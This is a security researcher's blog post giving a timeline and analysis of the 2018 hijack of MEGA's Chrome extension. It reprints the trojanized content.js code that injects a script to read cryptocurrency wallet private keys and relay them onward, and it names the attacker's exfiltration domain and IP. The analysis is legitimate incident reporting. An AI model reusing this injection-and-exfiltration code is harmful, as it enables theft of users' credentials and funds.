SerHack - Developer and Security

SerHack

Developer - Security engineer

[email protected]

MEGA Chrome Extension Hacked - Detailed Timeline of Events

by SerHack


TLDR;

On 4 September at 14:30 UTC, an unknown attacker managed to hack into MEGA's Google Chrome web store account and upload a malicious version 3.39.4 of an extension to the web store, according to a blog post published by the company. Upon installation or auto-update, the malicious extension asked for elevated permissions to access personal information, allowing it to steal login/register credentials from ANY websites like Amazon, Github, and Google, along with online wallets such as MyEtherWallet and MyMonero, and Idex.market cryptocurrency trading platform. The trojanized Mega extension then sent all the stolen information back to an attacker's server located at megaopac[.]host in Ukraine, which is then used by the attackers to log in to the victims' accounts, and also extract the cryptocurrency private keys to steal users' digital currencies.

Detailed Timelaps

14.30 UTC on 4th September 2018

An unknown attacked managed to log into the Chrome Extension Store profile, used by MEGA Team. A new MEGA Chrome extension version (3.39.4) has been uploaded.

16 UTC on 4th September 2018

A reddit user (/u/gattacus) noticed some unwanted changes to the latest version of Mega Chrome Extension. The Chrome browser originally asked for new permissions about reading all the content from a web page. He was looking for its source code and he discovered a probably cryptocurrency-keys logging. Then he posted this thread for having some confirmations from the community.

And I'll read it. I supposed "Whoa, another security issue" but I was looking for the source code too. IT happens! I discovered a keylogger which could log password, username and even sessions!

17.16 UTC on 4th September 2018

After the discovering of keylogging, I posted a warning on Twitter. The InfoSec Community and some security researches confirmed this issue.

17.45 UTC on 4th September 2018

A security engineer, Jeremiah O'Connor, confirmed that infrastructure was related to AWS/MEW BGP attack.

18.09 UTC on 4th September 2018

Megaopac[.]host domain seems to have a login panel. Unfortunately, I did not any research about this.

18.50 UTC on 4th September 2018

Riccardo Spagni as known as Fluffypony - ex-owner of MyMonero - confirms that also extracts private keys.

19.19 UTC on 4th September 2018

Google removed the injected MEGA Chrome Extension version 3.39.4

20.18 UTC on 4th September 2018

Namecheap forwared the request to block megaopac[.]host to the "Abuse" team.

20.19 UTC on 4th September 2018

NameCheap blocks megaopac[.]host domain.

20.53 UTC on 4th September 2018

Andrea Draghetti shared a completed NMAP analysis performed on megaopac[.]host domain. The ssl was certified by Let's Encrypt Certificate, DNS commonName=la02abd2.justinstalledpanel.com . VPS IP is hosted on Ukraine.

20.47 UTC on 4th September 2018

Emanuele Gentili confirmed to me that VPS is allocated on Ukraine. Translated tweet: The VPS is allocated to the company Ukraine Multi DC (multi-dc [.] Com) known to sell colocation and servers to numerous partners acting as resellers in Eastern Europe (site only in Russian).

21.07 UTC on 4th September 2018

Emanuele Gentili performed an analysis on files changed by the unknown user. The timeline could coincide with Ukraine timezone. Translated tweet: Analysis of metadata for the original extension shows the threat actor's preparation timeline.

22.53 UTC on 4th September 2018

Security researches confirmed that it could log any POST request where the url contained special strings like "login", "register", "sign in" etc... :facepalm:

5.55 UTC on 5th September 2018

MEGA confirmed the attack and they have released a blog post about that.

How it works

Two ways for logging

Firstly, the extension loads a custom script if the url is matched to domains contained in the "matches" array. "matches": [ "file:///*", "https://www.myetherwallet.com/*", "https://mymonero.com/*", "https://idex.market/*" ] In this version, there's a new file called content.js which has interesting code.

        function onWindowLoad() {
    $("body").append('<\/script\/> {' +
    'var lAdr = "";' +
    'var lPK = "";' +
	'var lma="";' +
	'var imsa="";' +
    'setInterval(function() {' +
    '	var x = document.getElementsByTagName("main");' +
    '	var i;' +
    '	\\for (i = 0; i < x.length; i++) {' +
	'		if ((x[i].className == "tab-pane active ng-scope") || (x[i].className == "tab-pane block--container active ng-scope")) { ' +
	' 			var scope = angular.element(x[i]).scope();' +
    ' 			if (scope != null && scope.wallet != null) {' +
	'				if (lAdr != scope.wallet.getAddressString() || lPK != scope.wallet.getPrivateKeyString()) {' +
    '					lAdr = scope.wallet.getAddressString();' +
    '					lPK = scope.wallet.getPrivateKeyString();' +
	'					document.dispatchEvent(new CustomEvent(\"nmew\", { detail: { address: lAdr, pkey: lPK } }));'  +
    '				}' +
	'			}' +
	'		}' +
    '	}' +
	'	' +
	'   var z = document.getElementsByTagName("body");' +
	'   for (i = 0; i < z.length; i++) {' +
	'		if (z[i].className == "ng-scope") { ' +
	'			var scope = angular.element(z[i]).scope();' + 
	'			if (scope != null && scope.address != null && scope.spend_key != null && scope.view_key != null) {' +
	'				if (lma != scope.address) {' +
	'					lma = scope.address;' +
	'					document.dispatchEvent(new CustomEvent(\"nmm\", { detail: { address: lma, keys: scope.view_key + " " + scope.spend_key} }));' +
	'				}' +
	'			}' +
	' 		}' + 
	'	}' +
	'	if (localStorage && configuration) {' +
	'		let state = localStorage.getItem("state");' +
	'		let keySalt = configuration.keySalt;' +
	'		if (state && keySalt) {' +
	'			var selAcc = JSON.parse(state)["selectedAccount"];' +
	'			if (imsa != selAcc) {' +
	'				document.dispatchEvent(new CustomEvent(\"imm\", { detail: { data: state, salt: keySalt } }));' +
	'				imsa = selAcc;' +
	'			}' +
	'		}' +
	'	}' +
    '}, 2000);' +
    '} ');
}

window.onload = onWindowLoad;

document.addEventListener("nmew", function(ev) {
	chrome.runtime.sendMessage({action: "nmewm",address: ev.detail["address"],keys:ev.detail["pkey"]});
});

document.addEventListener("nmm", function(ev) {
	chrome.runtime.sendMessage({action: "nmmm",address: ev.detail["address"],keys:ev.detail["keys"]});
});

document.addEventListener("imm", function(ev) {
	chrome.runtime.sendMessage({action: "immm", data: ev.detail["data"], salt:ev.detail["salt"]});
});
    

Naturally, the script code isn't included in the file JS but it's technically injected on WindowsLoad, probably for evading some filters. The script has the ability to take the private keys from the modal and then it uses the chrome.runtime.sendMessage to send the keys to the owner of extension.

The second goal of logging was intercepting POST fields from Amazon, Google, Microsoft and Github platforms. All the data were sent to a domain called megaopac[.]host and IPv4 176.119.1[.]146. Each website logged or tracked has had a special "id".

It would also perform monitoring of any form submission where the URL contains the strings Register or Login or variables exist that are named "username", "email", "user", "login", "usr", "pass", "passwd", or "password".

The Blog post

"We would like to apologise for this significant incident. MEGA uses strict release procedures with multi-party code review, robust build workflow and cryptographic signatures where possible," the blog post continued. "Unfortunately, Google decided to disallow publisher signatures on Chrome extensions and is now relying solely on signing them automatically after upload to the Chrome webstore, which removes an important barrier to external compromise. MEGAsync and our Firefox extension are signed and hosted by us and could therefore not have fallen victim to this attack vector. While our mobile apps are hosted by Apple/Google/Microsoft, they are cryptographically signed by us and therefore immune as well."